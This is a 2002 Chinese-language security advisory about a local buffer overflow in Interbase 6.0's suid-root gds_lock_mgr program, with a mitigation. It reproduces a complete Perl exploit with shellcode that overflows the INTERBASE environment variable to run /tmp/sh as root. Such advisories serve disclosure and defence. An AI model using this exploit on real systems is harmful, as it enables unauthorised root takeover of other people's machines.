首页 -> 安全研究

安全研究

安全漏洞
Interbase GDS_Lock_MGR Interbase环境变量本地缓冲区溢出漏洞

发布日期:2002-06-18
更新日期:2002-06-26

受影响系统:

Borland/Inprise Interbase 6.0
    - Linux系统  
    - Microsoft Windows NT 4.0
    - Microsoft Windows 2000
    - Unix系统  
描述:

BUGTRAQ  ID: 5046

Interbase是一款由Borland公司开发和维护的数据库软件,可使用在多种Unix和Linux操作系统。

Interbase中的gds_lock_mgr程序在处理环境变量时缺少正确的边界检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击。

Interbase中的gds_lock_mgr程序默认以suid root属性安装,程序在处理interbase环境变量时没有正确检查提交的数据长度,攻击者可以提交超长的字符串给interbase环境变量,执行gds_lock_mgr程序可产生缓冲区溢出,精心构建字符串数据可导致以root权限在系统上执行任意指令。

<*来源:KF (dotslash@snosoft.com
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-06/0206.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

KF(dotslash@snosoft.com) 提供了如下测试程序:

#!/usr/bin/perl -w
#
# gds_lock_mgr exploit for Interbase 6.0 linux beta
#
# - tested on redhat 7.2
#
# - Developed in the Snosoft Cerebrum test labs
# - (http://www.snosoft.com) - overflow found by KF
#
# Note: We cannot attach to an interactive shell so it
# will execute /tmp/sh instead...
#
# coded by stripey - 15/06/2002 (stripey@snosoft.com)
#


($offset) = @ARGV,$offset || ($offset = 0);


$sc = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/tmp/sh";


$ENV{"FOO"} = $sc;


$buf = pack("l",(0xbffffdc0+$offset))x86;
$buf .= "A";


$ENV{"INTERBASE"} = $buf;


exec("/usr/local/interbase/bin/gds_lock_mgr");

建议:

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 去受影响程序的suid位。

厂商补丁:

Borland/Inprise
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.interbase.com/



浏览次数:3767
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障